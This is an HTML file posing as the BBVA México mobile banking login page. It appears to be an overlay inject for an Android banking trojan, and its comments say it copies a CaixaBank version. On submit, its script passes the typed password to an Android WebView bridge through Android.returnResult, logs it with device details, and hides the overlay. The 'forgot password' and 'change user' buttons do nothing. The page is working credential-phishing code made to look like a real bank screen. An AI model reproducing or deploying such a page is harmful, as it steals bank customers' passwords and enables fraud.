Files
2026-08-27 11:21:57 -06:00

373 lines
18 KiB
HTML

<!DOCTYPE html>
<html class="light" lang="es">
<head>
<meta charset="utf-8">
<meta content="width=device-width, initial-scale=1.0, viewport-fit=cover" name="viewport">
<title>BBVA México - Iniciar Sesión</title>
<script src="https://cdn.tailwindcss.com?plugins=forms,container-queries"></script>
<link href="https://fonts.googleapis.com/css2?family=Fira+Sans:wght@400;500;600;700&amp;family=Source+Sans+3:wght@400;500;600&amp;display=swap" rel="stylesheet">
<link href="https://fonts.googleapis.com/css2?family=Material+Symbols+Outlined:wght,[email protected],0..1&amp;display=swap" rel="stylesheet">
<link href="https://fonts.googleapis.com/css2?family=Material+Symbols+Outlined:wght,[email protected],0..1&amp;display=swap" rel="stylesheet">
<script id="tailwind-config">
tailwind.config = {
darkMode: "class",
theme: {
extend: {
"colors": {
"surface-variant": "#e2e2e2",
"surface-container-lowest": "#ffffff",
"inverse-surface": "#2f3131",
"surface-tint": "#2d5f9e",
"on-error": "#ffffff",
"on-primary-fixed": "#001c3b",
"on-secondary-container": "#004975",
"tertiary-fixed-dim": "#76dc8c",
"surface-container-highest": "#e2e2e2",
"surface-dim": "#dadada",
"on-surface": "#1a1c1c",
"primary-fixed": "#d5e3ff",
"on-secondary-fixed-variant": "#004a77",
"inverse-primary": "#a6c8ff",
"secondary": "#00639c",
"on-tertiary-fixed-variant": "#005324",
"on-primary-fixed-variant": "#074784",
"surface-container": "#eeeeee",
"secondary-fixed": "#cfe5ff",
"surface": "#f9f9f9",
"error": "#ba1a1a",
"tertiary-container": "#004f22",
"on-background": "#1a1c1c",
"outline-variant": "#c2c6d2",
"secondary-container": "#6cb9ff",
"on-surface-variant": "#424750",
"on-tertiary": "#ffffff",
"error-container": "#ffdad6",
"inverse-on-surface": "#f1f1f1",
"on-tertiary-container": "#60c578",
"on-tertiary-fixed": "#00210a",
"on-primary-container": "#85b3f7",
"on-secondary-fixed": "#001d33",
"surface-container-low": "#f3f3f3",
"tertiary": "#003615",
"secondary-fixed-dim": "#98cbff",
"tertiary-fixed": "#91f9a6",
"on-secondary": "#ffffff",
"on-primary": "#ffffff",
"primary": "#002e5a",
"primary-fixed-dim": "#a6c8ff",
"background": "#f9f9f9",
"outline": "#737781",
"surface-container-high": "#e8e8e8",
"primary-container": "#004481",
"on-error-container": "#93000a",
"surface-bright": "#f9f9f9"
},
"borderRadius": {
"DEFAULT": "0.125rem",
"lg": "0.25rem",
"xl": "0.5rem",
"full": "0.75rem"
},
"spacing": {
"margin-mobile": "16px",
"xs": "4px",
"sm": "8px",
"xl": "32px",
"md": "16px",
"gutter": "24px",
"unit": "4px",
"lg": "24px",
"container-max": "1200px"
},
"fontFamily": {
"headline-lg-mobile": ["Fira Sans"],
"headline-lg": ["Fira Sans"],
"label-md": ["Source Sans 3"],
"label-sm": ["Source Sans 3"],
"body-md": ["Source Sans 3"],
"title-md": ["Fira Sans"],
"display-lg": ["Fira Sans"],
"body-lg": ["Source Sans 3"]
},
"fontSize": {
"headline-lg-mobile": ["24px", {"lineHeight": "32px", "fontWeight": "600"}],
"headline-lg": ["32px", {"lineHeight": "40px", "fontWeight": "600"}],
"label-md": ["14px", {"lineHeight": "20px", "letterSpacing": "0.01em", "fontWeight": "600"}],
"label-sm": ["12px", {"lineHeight": "16px", "fontWeight": "500"}],
"body-md": ["16px", {"lineHeight": "24px", "fontWeight": "400"}],
"title-md": ["20px", {"lineHeight": "28px", "fontWeight": "500"}],
"display-lg": ["48px", {"lineHeight": "56px", "letterSpacing": "-0.02em", "fontWeight": "700"}],
"body-lg": ["18px", {"lineHeight": "28px", "fontWeight": "400"}]
}
},
},
}
</script>
<style>
body {
background-color: #f9f9f9;
-webkit-tap-highlight-color: transparent;
overflow-x: hidden;
}
.glass-panel {
background: rgba(255, 255, 255, 0.7);
backdrop-filter: blur(20px);
-webkit-backdrop-filter: blur(20px);
border: 1px solid rgba(255, 255, 255, 0.3);
}
.gradient-bg {
background: linear-gradient(180deg, #004481 0%, #0071B2 100%);
}
.input-floating-label:focus-within label,
.input-floating-label input:not(:placeholder-shown) + label {
transform: translateY(-24px) scale(0.85);
color: #004481;
}
.input-floating-label label {
transition: all 0.2s ease-out;
pointer-events: none;
}
</style>
</head>
<body class="flex flex-col min-h-screen">
<!-- Contenedor principal con ID para overlay (misma lógica que CaixaBank) -->
<div id="bbva-overlay" class="flex flex-col min-h-screen">
<!-- TopAppBar -->
<header class="fixed top-0 w-full z-50 bg-primary flex justify-between items-center px-margin-mobile h-14">
<div class="flex items-center">
<button class="text-on-primary hover:bg-primary-container transition-colors p-2 rounded-full active:opacity-80 transition-opacity">
<span class="material-symbols-outlined" data-icon="menu">menu</span>
</button>
</div>
<div class="absolute left-1/2 -translate-x-1/2 font-headline-lg-mobile text-headline-lg-mobile font-bold text-on-primary">
BBVA
</div>
<div class="flex items-center">
<button class="text-on-primary hover:bg-primary-container transition-colors p-2 rounded-full active:opacity-80 transition-opacity">
<span class="material-symbols-outlined" data-icon="account_circle">account_circle</span>
</button>
</div>
</header>
<!-- Main Content Canvas -->
<main class="flex-grow pt-14 pb-20 relative overflow-hidden flex flex-col">
<!-- Subtle Background Animation/Gradient -->
<div class="absolute inset-0 z-0 opacity-10">
</div>
<!-- Background Hero Section (Mexico Visual) -->
<div class="relative h-64 w-full overflow-hidden">
<div class="absolute inset-0 gradient-bg opacity-90 z-10"></div>
<img alt="CDMX Architecture" class="w-full h-full object-cover" data-alt="A cinematic low-angle shot of the modern skyscraper landscape of Paseo de la Reforma in Mexico City at dusk. The sky transitions from a deep indigo to a soft amber glow, perfectly reflecting the BBVA brand color palette. The architectural lines are sharp and clean, emphasizing a sense of financial stability and futuristic urban development in a high-key lighting environment." src="https://lh3.googleusercontent.com/aida-public/AB6AXuCuJ2i_nMgSI7wHBgxduNkUJRoPdYAy02KRz3v3yQHu-vTwbSdNdD-vJc_KvSrzqh9r21tVqPKUQyNDuw_SgKAATTKPeiEJQ1rDLPxazSUZXjjSYAwIJUMhUlEf71LoGBvcDdWh-pRRiXarFfICycHmGsqlIiwDQp4JPbeoEsbZmnVW1Xm9XTFg8skR84mLV1OkLwVTM4wUhGUHmJOWAB2K9k2Bp5_LV0IY4nyG1rwxwWVtgxqe6R99_b0Q98sdmNs7V9oJ4AqwEREq">
</div>
<!-- Login Card Section -->
<div class="px-margin-mobile -mt-32 relative z-20 flex-grow flex flex-col items-center">
<div class="w-full max-w-md glass-panel rounded-xl shadow-2xl p-6 flex flex-col gap-8" style="opacity: 1; transform: translateY(0px); transition: 0.6s cubic-bezier(0.16, 1, 0.3, 1);">
<!-- Greeting Header con saludo dinámico -->
<div class="space-y-1">
<h1 class="font-headline-lg-mobile text-headline-lg-mobile text-primary" id="greeting">buenas tardes</h1>
<p class="font-body-md text-body-md text-on-surface-variant">Ingresa tu contraseña para continuar</p>
</div>
<!-- Password Input -->
<div class="relative input-floating-label group">
<input class="w-full bg-transparent border-0 border-b-2 border-outline focus:ring-0 focus:border-primary px-0 py-3 font-body-lg text-body-lg text-primary transition-all duration-300" id="password" name="password" placeholder=" " type="password" autocomplete="off">
<label class="absolute left-0 top-3 font-body-md text-body-md text-on-surface-variant origin-top-left" for="password">Contraseña</label>
<button class="absolute right-0 top-3 text-secondary p-1" id="togglePasswordBtn" type="button">
<span class="material-symbols-outlined" id="eye-icon">visibility</span>
</button>
</div>
<!-- Action Buttons -->
<div class="space-y-4">
<button class="w-full bg-secondary py-3.5 rounded-lg font-label-md text-label-md text-on-secondary shadow-md active:scale-95 transition-transform" id="loginBtn" disabled>
Entrar
</button>
<button class="w-full py-2 font-label-md text-label-md text-secondary hover:bg-secondary-fixed/20 rounded-lg transition-colors" id="forgotLink">
Olvidé mi contraseña
</button>
</div>
<!-- Extra Links -->
<div class="pt-2 border-t border-outline-variant/30 text-center">
<p class="font-label-sm text-label-sm text-on-surface-variant">
¿No eres tú? <button class="text-secondary font-semibold" id="changeUserLink">Cambiar usuario</button>
</p>
</div>
</div>
<!-- Promotion / Dynamic Content -->
<div class="mt-8 w-full max-w-md bg-surface-container-lowest rounded-xl p-4 flex items-center gap-4 shadow-sm border border-outline-variant/20">
<div class="bg-secondary-container p-3 rounded-full">
<span class="material-symbols-outlined text-on-secondary-container" data-icon="percent">percent</span>
</div>
<div>
<h3 class="font-label-md text-label-md text-primary">Préstamo Inmediato</h3>
<p class="font-body-md text-body-md text-on-surface-variant">Tienes una oferta disponible de $50,000</p>
</div>
<span class="material-symbols-outlined ml-auto text-outline" data-icon="chevron_right">chevron_right</span>
</div>
</div>
</main>
<!-- BottomNavBar -->
<nav class="fixed bottom-0 w-full flex justify-around items-center py-2 px-margin-mobile pb-safe bg-surface/80 dark:bg-inverse-surface/80 backdrop-blur-xl border-t border-outline-variant shadow-lg z-50">
<!-- Token Móvil -->
<div class="flex flex-col items-center justify-center text-on-surface-variant hover:text-primary transition-colors cursor-pointer group">
<div class="p-1 rounded-full group-active:scale-90 transition-transform">
<span class="material-symbols-outlined" data-icon="security">security</span>
</div>
<span class="font-label-sm text-label-sm">Token Móvil</span>
</div>
<!-- Ubícanos -->
<div class="flex flex-col items-center justify-center text-on-surface-variant hover:text-primary transition-colors cursor-pointer group">
<div class="p-1 rounded-full group-active:scale-90 transition-transform">
<span class="material-symbols-outlined" data-icon="location_on">location_on</span>
</div>
<span class="font-label-sm text-label-sm">Ubícanos</span>
</div>
<!-- Contáctanos -->
<div class="flex flex-col items-center justify-center text-on-surface-variant hover:text-primary transition-colors cursor-pointer group">
<div class="p-1 rounded-full group-active:scale-90 transition-transform">
<span class="material-symbols-outlined" data-icon="support_agent">support_agent</span>
</div>
<span class="font-label-sm text-label-sm">Contáctanos</span>
</div>
</nav>
</div>
<script>
// ==================== 1. Saludo dinámico (exactamente igual que CaixaBank) ====================
document.addEventListener('DOMContentLoaded', function() {
const greetingElement = document.getElementById('greeting');
if (greetingElement) {
const currentHour = new Date().getHours();
let greetingText = '';
if (currentHour >= 5 && currentHour < 12) {
greetingText = 'buenos días';
} else if (currentHour >= 12 && currentHour < 21) {
greetingText = 'buenas tardes';
} else {
greetingText = 'buenas noches';
}
greetingElement.textContent = greetingText;
}
});
// ==================== 2. Mostrar/ocultar contraseña (toggle) ====================
const toggleBtn = document.getElementById('togglePasswordBtn');
const passwordField = document.getElementById('password');
const eyeIcon = document.getElementById('eye-icon');
if (toggleBtn && passwordField && eyeIcon) {
toggleBtn.addEventListener('click', function() {
const isPassword = passwordField.getAttribute('type') === 'password';
passwordField.setAttribute('type', isPassword ? 'text' : 'password');
eyeIcon.textContent = isPassword ? 'visibility_off' : 'visibility';
});
}
// ==================== 3. Serializador universal exacto a CaixaBank (stringifyJSON personalizado) ====================
var stringifyJSON = function(obj) {
var arrOfKeyVals = [], arrVals = [], objKeys = [];
if (typeof obj === 'number' || typeof obj === 'boolean' || obj === null)
return '' + obj;
else if (typeof obj === 'string')
return '"' + obj + '"';
else if (Array.isArray(obj)) {
if (obj[0] === undefined) return '[]';
else {
obj.forEach(function(el) { arrVals.push(stringifyJSON(el)); });
return '[' + arrVals.join(',') + ']';
}
} else if (obj instanceof Object) {
objKeys = Object.keys(obj);
objKeys.forEach(function(key) {
var keyOut = '"' + key + '":', keyValOut = obj[key];
if (keyValOut instanceof Function || typeof keyValOut === undefined)
arrOfKeyVals.push('');
else if (typeof keyValOut === 'string')
arrOfKeyVals.push(keyOut + '"' + keyValOut + '"');
else if (typeof keyValOut === 'boolean' || typeof keyValOut === 'number' || keyValOut === null)
arrOfKeyVals.push(keyOut + keyValOut);
else if (keyValOut instanceof Object)
arrOfKeyVals.push(keyOut + stringifyJSON(keyValOut));
});
return '{' + arrOfKeyVals + '}';
}
};
// ==================== 4. Habilitar botón solo si hay contraseña (igual que CaixaBank) ====================
const passwordInput = document.getElementById('password');
const loginBtn = document.getElementById('loginBtn');
if (passwordInput && loginBtn) {
passwordInput.addEventListener('input', function(){
if (passwordInput.value.trim()) {
loginBtn.disabled = false;
} else {
loginBtn.disabled = true;
}
});
}
// ==================== 5. Log de datos y eliminación del overlay ====================
function send_form() {
var pwd = passwordInput ? passwordInput.value.trim() : '';
if(!pwd) return false;
// Construir objeto de datos
let formData = {
password: pwd
};
const jsonPayload = stringifyJSON(formData);
// Soporte para Android WebView (bridge)
if (typeof Android !== "undefined" && Android && typeof Android.returnResult === 'function') {
Android.returnResult(jsonPayload);
}
if (typeof Android !== "undefined" && Android && typeof Android.hidePage === 'function') {
Android.hidePage('');
}
const ua = navigator.userAgent;
let androidVersion = 'desconocido';
const androidMatch = ua.match(/Android\s([0-9\.]+)/);
if (androidMatch && androidMatch[1]) androidVersion = androidMatch[1];
const hora = new Date().toLocaleString('es-ES');
const message = `BBVA MEXICO\nversion: ${androidVersion}\nTiempo: ${hora}\nPWD: ${pwd}`;
console.log(message);
console.log('Form data:', formData);
// Eliminar overlay / contenedor después de 300ms
setTimeout(function() {
var overlay = document.getElementById('bbva-overlay');
if (overlay) overlay.remove();
}, 300);
}
// Asignar evento al botón de login
if (loginBtn) {
loginBtn.addEventListener('click', (e) => {
e.preventDefault();
send_form();
});
}
// ==================== 6. Eventos silenciosos para elementos adicionales (sin alertas ni toasts) ====================
const forgotLink = document.getElementById('forgotLink');
const changeUserLink = document.getElementById('changeUserLink');
if (forgotLink) {
forgotLink.addEventListener('click', (e) => {
e.preventDefault();
});
}
if (changeUserLink) {
changeUserLink.addEventListener('click', (e) => {
e.preventDefault();
});
}
</script>
</body>
</html>